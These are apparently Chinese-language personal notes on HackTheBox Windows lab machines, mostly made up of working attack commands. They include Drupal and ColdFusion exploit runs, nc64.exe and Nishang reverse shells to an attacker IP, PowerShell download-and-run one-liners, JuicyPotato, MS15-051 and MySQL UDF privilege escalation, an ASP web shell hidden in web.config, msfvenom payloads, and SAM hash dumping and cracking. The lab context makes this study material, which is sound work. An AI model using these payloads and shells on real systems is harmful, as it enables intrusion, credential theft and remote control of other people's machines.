windows靶机
HTB Bastard
sudo sed -i 's/;extension=curl/extension=curl/' /etc/php/8.1/cli/php.ini 快熟消除注释
sudo sed -i 's|;extension=curl|extension=/usr/lib/php/20220829/curl.so|' /etc/php/8.1/cli/php.ini
在文档里面,这里是对参数和工具的解释
ping -c 1 完成一次
对于找敏感文件的反思
红队时,对于常⽤端⼝完全可以被动信息收集,即不是nmap这种噪⾳和流量特征⻛险较⼤的扫描,⽐
如这⾥完全可以直接看80端⼝,想到看robots.txt⽂件,这对于稍有⼀点web渗透经验的⼈来说,并不难想
到。changelog.txt和readme.txt等⽂件也不难想到,即使想不到,也可以找到⽹上对应版本drupal安装⽂件
包,下载下来,去看他的⽬录结构,⽽不是直接⽬录爆破。
searchsploit drupal --exclude="(Metasploit)|Denial of Service" exclude参数
他的工具替代
其实有个searchspoilt的替代⽅案,就是droopescan,就像你在⾯对wordpress时有wpscan⼀样,droopescan是
对drupal枚举信息和查找利⽤的好⼯具。当然现在这个⼯具也⽀持对SilverStripe、Wordpress、Joomla、Moodle
等cms的枚举扫描,当没有思路时,这个⼯具也可能为你打开⼀扇窗。
droopescan scan drupal -u 10.129.174.198
其实,⼤型复杂系统往往都有⼈编写利⽤⼯具或枚举,作为⼀个⼤的思路或⽅向要能想到这⼀点,想到去搜
这类⼯具,不⼀定管⽤,但会拓宽你的思路,增加可能性。
41564
这边利用41564时,出现错误(缺少endpoint),可以先去exp的官网看一下,搜搜endpoint,官网提示这个url和endpoint是不确定的,需要自己去寻找
在寻找endpoint信息时,利用dirsearch的时候,利用的字典是自己写的,根据大字典爆破要5小时
利用后会得到admin的hash drupal的加密有7900
可以用hashcat查一下 hashcat --help | grep drupal
由于这个破解要很久,现在利用这个exp创建的目录文件
$ curl -s http://10.129.203.230/RedteamNotes.php?RedteamNotes=systeminfo
看到windows系统信息,并且没有hotfix的状态。现在先设法获得系统shell.他是一个小型恢复补丁
一般看到没有hotfix可以想到利用内核漏洞
window的命令行反弹shell
通过google或github搜索nc64.exe,获得nc64.exe⽂件。⽤smbserver架设samba共享服务,⽤来提供nc64.exe 下载服务
kali
sudo wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe
locate smbserver
sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .
在url中访问如下地址:
http://10.129.203.230/RedteamNotes.php?RedteamNotes=\ \10.10.16.11\share\nc64.exe%20-
e%20cmd.exe%2010.10.16.11%20443
sudo nc -lvnp 443
whoami systeminfo cd c:\users\ dir type user.txt
反弹shell途径2 session利用登入后台
将41564.php执⾏后劫持的session注⼊到我们访问,⽤到cookie manger⼯具 火狐的插件
cat session.json 利用工具后刷新后就是admin了
在菜单Module下有PHP filter以下,可以执⾏php代码,激活它。看能否借此获得反弹shell,这⾥要经验,也很简
单,进到PHP语⾔的CMS肯定想找到能执⾏php的地⽅,之后获得反弹shell的原理我们就⾮常熟了。
goole搜索 php reverse shell for windows github
按add content按钮,在⽂章内容区域,写⼊如下反弹shell。此脚本经Google搜索,⼏个脚本多次尝试后选⽤
的。源码地址:phpshell/reverp.php at master · Ethancck/phpshell · GitHub
不要忘了选择Text format选择PHP code
通过Drupalgeddon2利⽤实现
searchsploit drupal Drupalgeddon -m 44449.rb
ruby 44449.rb
已经可以获得user.txt的⽤户flag。
其实现作为系统初始⽴⾜点,可以到此为⽌,但为了提权⽅便,还可以更进⼀步获得cmd或者powershell的命令
⾏,显然⽤之前的⽅法上传nc64.exe是可以的。但这⾥换⼀种⽅法,也⽅便练习得更多。
nishang
⽤Nishang GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security. 这个极为重要得框架来实现
Nishang 因其强⼤的 PowerShell 功能和易⽤性⽽受到渗透测试⼈员、安全研究⼈员和红队成员的欢迎。它简化了使⽤ PowerShell 进⾏攻击性安全测试的过程,并提供了丰富的⼯具和技术,适⽤于渗透测试的各个阶段。
本次我们⽤到这个脚本,PowerShellTcp.ps1,先在kali中安装nishang,因为windows渗透⽤到它的时候太多了!
$ sudo apt install nishang
nishang
ls -liah Shells/
将Invoke-PowerShellTcp.ps1复制到⼯作⽬录下,编辑脚本在尾部追加:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.11 -Port 443 就是脚本本身,反弹shell 到攻击机
然后为脚本⽂件架设建议web服务器。同时nc监听443端⼝。之后在靶机的 drupalgeddon2>> 提示符下执⾏:
powershell iex(new-object net.webclient).downloadstring('http://10.10.16.11:8080/InvokePowerShellTcp.ps1')
执行后会访问kali服务器中的我们改的脚本,反弹shell
sudo nc -lvnp 443
获得初级权限shell⽅法三:通过Drupalgeddon3利⽤实现
searchsploit drupal Drupalgeddon -m 44542
cat 44542.txt
根据其⽤法描述,需要有认证成功的账户,并且有删除节点的权限。记得module service的session劫持吗?可以
吗,然后我们就可以按照上⽂说的利⽤了,操作以下,为了减低点难度,找⼀下现成的利⽤,在google中搜
索”drupalgeddon3.py exploit“关键词,找到: https://github.com/oways/SA-CORE-2018-
004/blob/master/drupalgeddon3.py ,利⽤源码如下:在pdf
python drupalgeddon3.py [URL] [Session] [Exist Node number] [Command]
先执⾏41564.php获得劫持的session信息,注意之前先修改其中的ip地址为重置后靶机ip地址
⽤cookie manger⼯具写⼊上⾯的信息后,获得admin的会话访问界⾯。
按如下箭头所示,获得url中node/1的信息。
然后执⾏利⽤。
python drupalgeddon3.py http://10.129.185.122
"SESSf6d33c9ded577647a769fff3692d7ad8=9TNVESAee_ZhJKiWtwahlJCbISB9208pMbjU1MlUdP4" 1
"whoami"
1是Exist Node number
然后类似之前的操作,建⽴smbserver,提供nc64.exe的下载和执⾏,获得反弹shell。执⾏⼀下:
sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .
监听就绪:sudo nc -lvnp 443
执⾏利⽤,加⼊payload。整条命令如下:
$ python drupalgeddon3.py http://10.129.185.122
"SESSf6d33c9ded577647a769fff3692d7ad8=9TNVESAee_ZhJKiWtwahlJCbISB9208pMbjU1MlUdP4" 1
"//10.10.16.11/share/nc64.exe -e cmd.exe 10.10.16.11 443"
提权
提权枚举
sudo wget --no-check-certificate https://github.com/carlospolop/PEASS
ng/blob/master/winPEAS/winPEASps1/winPEAS.ps1
C:\inetpub\drupal-7.54> IEX(New-Object
System.Net.Webclient).DownloadString('http://10.10.16.11/winPEAS.ps1')
CVE-2018-8120提权(windows server 2008 r2 privilege escalation exploit)
goole搜索
windows server 2008 r2 privilege escalation exploit
看通⽤github库,因为⼀般选择可能会更多。点开⻚⾯,全⻚⾯搜索R2关键字,选定CVE-2018-8120,下载其中
的x64.exe利⽤⾄⼯作⽂件夹。
在kali中建⽴nc监听,监听端⼝4444,在靶机的初始权限中执⾏:
\10.10.16.11\share\x64.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"
监听中收到反弹shell
sudo nc -lvnp 4444 提权成功
Juicy Potato提权(server<2019)
根据刚刚看到的提权⻚⾯:Windows - Privilege Escalation:
server版本⼩于 Windows Server 2019,都可以试Juicy Potato
⽽且靶机系统初始权限是激活了SeImpersonatePrivilege权限的:
whoami /priv
⽽且靶机系统初始权限是激活了SeImpersonatePrivilege权限的:
SeImpersonatePrivilege
是 Windows 操作系统中的一种特权(Privilege),用于授予进程模拟(Impersonation)其他用户的能力。模拟(Impersonation)是指一个进程可以暂时采用另一个用户的身份执行操作,而不是以自己的身份执行。这通常用于服务(services)和服务器进程,以便它们可以在执行操作时以用户的身份执行,而不是以服务或系统的特权执行。
先按照上图⻚⾯的可⽤⼆进制⽂件库,即juicy-potato:Releases · ohpe/juicy-potato · GitHub 下载JuicyPotato.exe到kali的⼯作⽂件夹中。然后⽤如下命令传到靶机中
certutil.exe -urlcache -split -f http://10.10.16.11/JuicyPotato.exe
在kali中⽤nc监听4444端⼝,然后按照利⽤⽂件的⽤法执⾏:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
上⾯的命令执⾏失败,⽤前⾯certutil.exe命令将nc64.exe下载到靶机本地,重新执⾏命令如下:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-
7.54\nc64.exe -e cmd.exe 10.10.16.11 4444" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
MS15-051提权
还是按照刚才的⻚⾯,即Windows - Privilege Escalation ,MS15-051也是可以提权的。尝试⼀下:
在github中搜索MS15-051:
现在就想⽤公共利⽤,就⽤第⼀个吧。下载器x64的编译⽂件到kali的⼯作⽂件夹。可参⻅下载地址:
ms15-051/ms15-051/ms15-051/x64 at master · euphrat1ca/ms15-051 · GitHub
然后在靶机中执⾏如下命令,确认可提权。
\10.10.16.11\share\ms15-051.exe "whoami"
然后执⾏:
\10.10.16.11\share\ms15-051.exe "\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 4444"
成功获得反弹shell:
MySQL UDF提权
我们知道drupal⼀定是由数据库的,但是端⼝扫⾯是没有发现对应端⼝,现在有⽴⾜点了,可以看看数据库中有什么信息,能够给我提权的途径。
netstat -ano
在 C:\inetpub\drupal-7.54\sites\default\settings.php 找到数据库凭据:
本地mysql访问受限,没有直接对外暴漏端⼝,我们做下端⼝反向转发。先安装chisel:
sudo apt install chisel
在Release chisel 下载x64版本到kali⼯作路径下。
搬运到靶机中:
>certutil.exe -urlcache -split -f http://10.10.16.11/chisel.exe
然后在kali中执⾏,建⽴chisel服务器端服务,监听9595端⼝,等待获得反向链接。
$ chisel server -p 9595 --reverse
在靶机中执⾏客户端,链回服务器端,⽤R:3306指定远端,即kali端的3306映射到本地,即靶机的3306,建⽴隧道。
chisel.exe client 10.10.16.11:9595 R:3306:localhost:3306
连接后服务端是有响应⽇志的。然后再kali中连接mysql数据库
mysql -h 127.0.0.1 -u root -p
select @@version;
select@@version_compile_os, @@version_compile_machine;
select@@plugin_dir ;
show variables like '%secure%';
这些信息表明我们可以考虑udf提权的。权限、路径、数据库版本和服务器版本我们都知道。
准备udf提权⽂件,再metasploit中是有⼀个可⽤的⽂件的,⽹上搜也可以
locate mysqludf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll .
在MySQL命令⾏中执⾏
select load_file('\\10.10.16.11\share\lib_mysqludf_sys_64.dll') into dumpfile
"C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";
create function sys_exec returns int soname 'udf.dll';
在kali中建⽴nc监听8888端⼝。然后再MySQL命令⾏中执⾏:
select sys_exec("\\10.10.16.11\share\nc64.exe -e cmd.exe 10.10.16.11 8888");
收到反弹shell,并再次获得root.txt的flag。
sudo nc -lvnp 8888
arctic(Adobe Cold Fusion 版本 8)
nmap扫描,web面进入8500端口
进入cfide,浏览./CFIDE/
显示了adobe的应用程序(专门用于创建动态网页以及网络应用程序和设计的开发工具)。再进去到adminstrator,发现了一个名为Adobe Cold Fusion 版本 8的中央管理系统 (CMS)
searchsploit Cold Fusion ,这边我利用了文件上传和rce都不行,利用目录遍历的可以
然后得到admin的hash值
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc. 解密happyday
登入来到后台
coldfusion8后台计划任务拿shell_coldfusion8 后台 文件上传-CSDN博客
这是它提权的文章
(msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f raw > shell.jsp
C:\ColdFusion8\wwwroot\CFIDE\administrator\analyzer\shell.jsp)
systeminfo 将内容复制 是window 2008 r2 的 而且
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
whoami /priv
没打补丁且土豆提权的前提有 可以利用试试
这边是利用windows-exploit-suggester.py枚举看可以利用哪些(最终MS10-059漏洞)
kali impacket-smbserver share $(pwd) -smb2support
靶机
copy \10.10.14.27\share\Chimichurri.exe
Chimichurri.exe 10.10.14.27 5555
工具的利用,我的用不了不知道为啥子
(./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx -i system.txt
python2.7 windows-exploit-suggester.py --database 2023-12-04-mssb.xls -i system.txt
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/JuicyPotato.exe')
devel(aspx木马,win7提权漏洞编译使用,ftp突破)
ASP.net 开发人员应该注意其 Web 空间中的 aspnet_client 文件夹。该文件夹与 ASP.net 运行时验证相关,并且有其自身的重要性。当您在站点上启用 ASP.net 扩展时,会自动创建此文件夹。aspnet_client 文件夹包含一些 ASP.NET Web 窗体控件(即验证、SmartNavigation)使用的客户端代码。此文件夹中包含的脚本由使用需要这些脚本的控件的网页调用。如果您使用的控件使用此文件夹中的脚本之一并且无法找到该脚本,则该控件将无法执行其客户端工作。
dirb http://10.10.10.93/aspnet_client/system_web/ fuzz.txt -r
aspnet_client 文件夹枚举和模糊测试(http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)
这条路线不行但是可以记住aspnet_client,这个经常在asp服务器上
有个ftp的端口,这个我一开始就是了,要ftp anonymous@10.10.10.5 记得不要直接连它
上去后可以put直接放马试试,记得放aspx的马
我们访问的是 ASP Web 服务器
用的aspx木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.55 LPORT=443 -f aspx > payload.aspx
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 6969
run
run post/multi/recon/local_exploit_suggester
这个是msf里面带的找看可以提权的
1.Sherlock ps1 github 这个可以识别内核漏洞下载本地上传kali,然后上传靶机GitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities 它提示用Watson
识别到ms10_015,msf里面这个漏洞有可以利用
或者goole搜索microsoft windows 7 build exploit
Devel Writeup w/o Metasploit | Hack The Box OSCP Preparation
更新searchsploit以确保您拥有所有最新的漏洞。
searchsploit -u
使用-m标志查找漏洞利用40564并将其复制到当前目录
searchsploit -m 40564
现在,我们需要编译漏洞利用程序。编译说明位于exploitdb网页中。
如果您尚未安装 mingw-w64,请安装它。
apt-get updateapt-get install mingw-w64
使用列出的命令编译它
i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
好的,我们有一个已编译的漏洞利用程序。现在剩下的就是将漏洞利用程序传输到目标(开发)机器。
在攻击 (Kali) 机器上启动服务器。
python -m SimpleHTTPServer 9005
Windows 上似乎没有安装 Netcat,但 powershell 却安装了。因此,我们将使用它将文件从服务器传输到我们可以写入的目录。
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"
https://medium.com/@JAlblas/hack-the-box-devel-guided-mode-walkthrough-f83f5b803ce7
Bastion(smb挂载,vhd文件,mRemoteNG敏感文件泄露,)
linux挂载smb中vhd_ubuntu 挂载 vhd-CSDN博客 如何挂载
HackTheBox – Bastion - Walkthrough Write-Up HTB writeup
有smb服务,smbclient \\10.10.10.134\Backups -U ""
进入后要下载文件
prompt off
recurse on
mget * 文件很大要下载很久,使用另一种办法
note.txt里面提示这是挂载共享并直接与文件交互而不是下载它们的提示。
mount -t cifs //10.10.10.134/backups /mnt -o user=,password= 挂载查看
find /mnt/ -type f 列出共享中的所有文件:我看到两个磁盘映像 vhd 文件。
VHD文件包含Microsoft Windows Virtual PC(Windows)使用的虚拟硬盘映像。 虚拟化 程序。 它存储虚拟机(VM)硬盘的内容,其中可能包括磁盘分区,文件系统,文件和文件夹。 VHD文件可用于在一台计算机上安装多个操作系统,测试软件程序或运行较旧的应用程序。
安装vhd挂载所需程序
sudo apt-get install libguestfs-tools
-
检查挂载磁盘
sudo guestfish --ro -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd'
-
guestfish
:这是用于与虚拟机磁盘映像交互的命令行工具。它是 Libguestfs 项目的一部分,该项目提供用于访问和修改虚拟机 (VM) 磁盘映像的工具。 -
--ro
:指定磁盘映像应以只读模式打开。这是一项安全措施,旨在防止无意中修改磁盘映像。 -
-a '/mnt/134/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'
:指定要访问的虚拟机磁盘映像的路径。在这种情况下,路径指向位于指定目录的VHD(虚拟硬盘)文件。run
list-filesystems
su root
2.挂载vhd文件
mkdir 1234
guestmount -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd' -m /dev/sda1 --ro /mnt/1234
挂载vhd文件
-
# -a 指定vhd文件
-
# -m 指定挂载磁盘
-
# -ro 指定为只读
guestmount --add /mnt/123/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/1234
-
--inspector
:此选项启用检查器模式。检查器是一个可以自动检测映像中有关操作系统和磁盘结构的信息的工具。它有助于理解磁盘映像的内容和结构。 -
--ro
:指定磁盘映像应以只读模式安装。这是一项安全措施,旨在防止无意中修改磁盘映像。 -
/mnt2/
:指定主机系统上将安装虚拟机磁盘映像内容的安装点。您将能够在此安装点访问磁盘映像的内容。
开始对挂载的目录进行遍历
看来一下文件后没什么,可以去看系统上的重要项目,并转到 C:\Windows\System32\config,我知道 SAM 和 SYSTEM 文件所在的位置。
转储凭证 – SAM 文件哈希 Dumping Credentials – SAM File Hashes - Juggernaut-Sec
SAM 文件位于%SystemRoot%\system32\config
目录中(通常为C:\Windows\system32\config
)。它存储用户帐户信息,包括用户名和密码哈希值。SAM 文件是 Windows 安全基础结构的关键组件,用于系统上的本地身份验证。
SYSTEM 文件是 Windows 注册表的一部分,通常位于同一%SystemRoot%\system32\config
目录中。该文件包含与系统的硬件和软件设置相关的配置信息。
在运行的Windows主机上,SAM和SYSTEM文件被锁定;然而,在备份中它们是可以访问的,因为它们没有“使用中”。
window文件下载到klai方法
Invoke-WebRequest -Uri http://your_kali_ip/file_to_download -OutFile C:\path\on\Windows\file_to_download
还有就是smb了
下面有两种方法提取sam和system中的信息
sudo apt-get update sudo
apt-get install python3-impacket
ls /usr/lib/python3/dist-packages/impacket
/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
该命令secretsdump.py
是 Impacket 工具包的一部分,用于执行凭据转储并从 Windows 系统上的 SAM、SECURITY 和 SYSTEM 注册表配置单元中提取信息。以下是该命令及其组件的说明:
-
secretsdump.py
:这是来自 Impacket 工具包的脚本,该工具包是 Python 类的集合,专注于提供对网络协议的低级编程访问。 -
-sam SAM
:指定 SAM 文件的路径,该文件包含有关 Windows 系统上的本地帐户的信息,包括密码哈希值。 -
-security SECURITY
:指定 SECURITY 文件的路径,该文件是 Windows 注册表的一部分,包含与安全相关的信息。 -
-system SYSTEM
:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的另一部分,包含有关系统的配置信息。 -
LOCAL
:指定要执行凭证转储的目标计算机。在这种情况下,它似乎指的是本地计算机。
该命令本质上是从 SAM 文件中提取和解密密码哈希值,并且还可以从 SECURITY 和 SYSTEM 文件中提供其他与安全相关的信息。该工具用于渗透测试和安全评估,以识别身份验证系统中的潜在漏洞。
samdump2 SYSTEM SAM > hashes.txt
-
samdump2
:这是一种常用的工具,用于从 Windows 系统上的 SAM(安全帐户管理器)文件中转储密码哈希值。它经常用于渗透测试或安全评估。 -
SYSTEM
:指定 SYSTEM 文件的路径,该文件是 Windows 注册表的一部分,包含有关系统的配置信息,包括解密密码哈希所需的详细信息。 -
SAM
:指定 SAM 文件的路径,其中包含用户帐户信息,包括密码哈希值。SAM 文件位于%SystemRoot%\system32\config
Windows 系统上的目录中。 -
> hashes.txt
:将命令的输出重定向samdump2
到名为hashes.txt
. 该文件将包含提取的密码哈希值。
解密hash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -r /usr/share/hashcat/rules/best64.rule 或者网站
(crackmapexec smb 10.10.10.134 -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9
crackmapexec winrm 10.10.10.134 -u 'L4mpje' -H 26112010952d963c8dc4217daec986d9)
得到密码后ssh连接试试
站稳脚跟后,我立即决定将提示符从 cmd.exe 提升为 PowerShell。
powershell -ep bypass
提权
手工枚举一下
systeminfo net users
net user l4mpje whoami /priv
cmdkey /list
用于显示本地计算机上存储的凭据列表
该gci
命令是 PowerShell 中 cmdlet 的别名Get-ChildItem
,用于检索有关指定位置中的项目的信息。在你的命令下:
gci -Recurse C:\users | Select FullName
-
gci
: 的别名Get-ChildItem
,用于检索指定位置中的项目(文件和目录)。 -
-Recurse
:指定该命令应递归搜索子目录以查找项目。 -
C:\users
:指定开始搜索项目的位置,在本例中为“C:\users”目录。 -
|
:管道运算符,它将 cmdlet 的输出传递Get-ChildItem
到下一个命令。 -
Select FullName
:使用cmdlet从 所返回的对象中Select-Object
提取属性。该属性表示每个项目的完整路径和文件名。FullName``Get-ChildItem``FullName
因此,该命令检索并显示“C:\users”目录及其子目录下所有项目(文件和目录)的完整路径。输出将显示FullName
找到的每个项目的属性。
cmd.exe /c dir /a C:\
细分如下:
-
cmd.exe
:这是 Windows 命令提示符可执行文件。 -
/c
:此选项告诉命令提示符运行指定的命令,然后终止。 -
dir
:这是列出目录内容的命令。 -
/a
:这是dir
命令的一个选项,它代表“显示隐藏文件”。 -
C:\
:这是您要列出其内容的目录。
因此,当您运行此命令时,它将使用命令提示符在 C: 驱动器的根目录上执行该dir /a
命令,显示所有文件和目录的列表,包括隐藏的文件和目录。输出将包括文件名、大小和修改日期等详细信息。
请记住,命令/a
中的选项dir
用于显示隐藏文件。如果你想查看所有文件和目录,包括隐藏文件和系统文件,可以将命令修改为:
cmd.exe /c dir /a:h /a:s C:\
这里,/a:h
显示隐藏文件,并/a:s
显示系统文件。根据您的具体要求调整选项。
备份文件夹在这里;不过,我已经查看了该文件夹的内容。如果不知道Config.msi文件夹是什么,它可能会显得很有趣,因为它有一个文件扩展名,但它是一个标准文件夹。
由于在 C:\ 中没有看到任何真正有趣的内容,我将注意力转向 Program Files 文件夹,从 32 位目录开始。
cd "C:\Program Files (x86)"
ls
中有个mRemoteNG
再看一下 ls "C:\Program Files" 有个openssh-win64
果然,SSH 程序是 64 位的,位于 Program Files 文件夹中。如果 mRemoteNG 中没有任何结果,那么这就是我下一步要去的地方。
在confCons.xml 文件中查找管理员密码
谷歌搜索 mRemoteNG,它的内容如下:“mRemoteNG 或多远程下一代连接管理器是 一种工具,可帮助您管理与远程系统的多个不同连接。它可以处理不同类型的连接,包括远程桌面协议 (RDP)、虚拟网络计算 (VNC)、安全外壳 (SSH) 等。”
谷歌搜索“mremoteng凭证文件”第一个链接中有一些有趣的信息。
看到“保存连接文件”,我将搜索编辑为“ mremoteng 连接文件”,第二个链接在 Google 搜索页面本身上显示以下内容:
这表明连接文件于%userprofile%\AppData\Roaming\mRemoteNG\confCons.xml中– 我使用以下命令确认这是正确的:
ls C:\Users\l4mpje\AppData\Roaming\mRemoteNG\confCons.xml
cat .\confCons.xml
用户名=管理员 密码= aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
看着像base64编码
解码是一堆乱码,应该是有二次加密的
网上看看是否有任何 mRemoteNG 密码解密器的 GitHub 页面
mRemoteNG-Decrypt/mremoteng_decrypt.py at master · haseebT/mRemoteNG-Decrypt · GitHub查看脚本,发现密码首先使用 AES / SHA1 加密,然后进行 Base64 编码。
python3 mNRG-decrypt.py --string "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
thXLHM96BeKL0ER2
evil-winrm
是一个用于 Windows 远程管理的命令行工具。它是为红队和渗透测试人员设计的,用于通过 WinRM(Windows Remote Management)协议与目标 Windows 主机进行通信。WinRM是一种 Windows 远程管理协议,允许远程执行命令、脚本和管理 Windows 系统。
在你提供的命令中:
evil-winrm -i 10.10.10.134 -u Administrator -p "thXLHM96BeKL0ER2"
-
evil-winrm
: 这是evil-winrm
工具的执行命令。 -
-i 10.10.10.134
: 指定目标 Windows 主机的 IP 地址。 -
-u Administrator
: 指定要连接的 Windows 用户名,这里是 Administrator。 -
-p "thXLHM96BeKL0ER2"
: 指定用户的密码,这里是 Administrator 用户的密码。
该工具允许你通过 WinRM 连接到目标 Windows 主机,并以指定用户的身份执行命令、上传和下载文件等操作。这对于进行渗透测试或红队活动,以检查和验证 Windows 系统的安全性和弱点非常有用。
blue(永恒之蓝ms17-010)
Metasploit Unleashed | Meterpreter Basics | OffSec meterpreter的使用
nmap 扫描端口
ms17010是永恒之蓝漏洞
msfconsole
search ms17-010
use 0
shell可以进入交互模式
面对一台Server 2008 机器
nmap 10.10.10.52 --script=smb-vuln* -p139,445 可以扫描smb漏洞
AutoBlue-MS17-010/eternal_checker.py at master · 3ndG4me/AutoBlue-MS17-010 · GitHub
eternal_checker.py可以测试永恒之蓝
Bounty(web.config文件上传绕过)
bypass upload aspx
在 IIS7(及更高版本)中,可以通过上传或制作 web.config 文件来实现类似的技巧。其中一些技巧甚至可能适用于 IIS6,只需进行一些细微的更改。下面的技术展示了一些不同的 web.config 文件,这些文件可用于绕过文件上传器的保护。
将 web.config 作为 ASP 文件运行
目录扫描
http://10.129.154.126/uploadedfiles/
http://10.129.154.126/transfer.aspx 上传文件点
有时 IIS 支持 ASP 文件,但无法上传任何扩展名为 .ASP 的文件。在这种情况下,可以直接使用web.config文件来运行ASP经典代码:
这个是谷歌搜索bypass upload aspx找到
Bypass Upload Restrictions and Evade Detection | Fgsec
<?xml version="1.0" encoding="UTF-8"?><configuration><system.webServer><handlers accessPolicy="Read, Script, Write"><add name="new_policy" path="*.config" verb="GET" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /></handlers><security><requestFiltering><fileExtensions><remove fileExtension=".config" /></fileExtensions><hiddenSegments><remove segment="web.config" /></hiddenSegments></requestFiltering></security></system.webServer><appSettings></appSettings></configuration> <!–- <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir) %>
http://10.129.154.126/uploadedfiles/ web.config?cmd=whoami
sudo python /usr/share/doc/python3-impacket/examples/smbserver.py share .
http://10.129.154.126/uploadedfiles/ web.config?cmd=\10.10.14.72\share\nc64.exe -e cmd.exe 10.10.14.72 443
acute
https://arz101.medium.com/hackthebox-acute-ee0308b9b443
网站取得powershell页面
常规端口扫描 43端口 下面有一个dns网址 添加到/etc/hosts里面
访问 https://atsserver.acute.local/ 大概看一下没有什么值得利用的,右上角有一个“新入门表格”的下载链接New_Starter_CheckList_v7.docx
。kali中如何打开word,
这边有一些用户名,先记下来后面可以用
目录爆破的话没有什么有用的信息,看一下下载的word,里面有个密码,并且可以访问连接是个登入页面
exiftool New_Starter_CheckList_v7.docx
里面有这个文档的创始人,还有类似电脑的名称
访问remote指向的页面
这会显示计算机名称Acute-PC01
。我尝试使用FCastle
我们获得的密码作为用户名,但没有成功,我继续尝试我们在“关于”部分找到的用户名并EDavies
成功,这边可以枚举上面的用户
进入页面,会给你一个powershell的页面,但看起来我们在一个容器中,因为 IP 是172.16.22.2
,运行net user
命令来检查我们所在的组,它给出一个错误,表明该用户不存在
取得EDavies权限
我们可以尝试扫描,172.16.22.1
因为它是网关,并且可能打开了一些有趣的端口,因为我们无法真正在这台机器上安装 nmap,所以我们可以尝试使用 powershell 脚本来扫描端口
GitHub - JustinGrote/PoshNmap: A Powershell Wrapper for the Nmap Network Discovery Tool
传输后,如果我们尝试运行 powershell 脚本,它不会允许我们,因为它禁止运行脚本
我们可以尝试下载一下,通过IEX
它导入内存中的脚本
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.67/winPEAS.exe')
它显示的端口是 dns、smb、winrm 和 ldap,这可能意味着这可能是一个域控制器,我无法指定扫描端口 88 的脚本,所以我继续
在Users目录中,我们可以看到很少的用户,但我们没有权限查看内容
进入C
驱动器,我们看到一个名为Utils
it 的文件夹,显示没有任何文件
在查看隐藏文件时dir -Force
我们可以看到一个ini文件
这表明 Windows Defender 不会检查该目录中是否存在恶意文件,也许,白名单目录也可以通过查看 Defender 的排除路径找到
Microsoft Defender Exclusions List Can Be Read by Attackers
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s 您提供的命令是 Windows 命令提示符命令,它使用该`reg query`命令查询 Windows 注册表以获取信息。在本例中,它在注册表中查询指定的子项路径: 以下是该命令的详细说明: - `reg query`:这是用于查询Windows注册表的命令。 - `"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions"`:这是注册表项路径。它指向 HKEY_LOCAL_MACHINE (HKLM) 注册表配置单元中“HKLM\SOFTWARE\Microsoft\Windows Defender”下的“Exclusions”子项。Windows Defender 在此保存有关排除设置的信息。 - `/s`:此选项指示`reg query`在搜索中包含所有子项。
python3 -m http.server 80
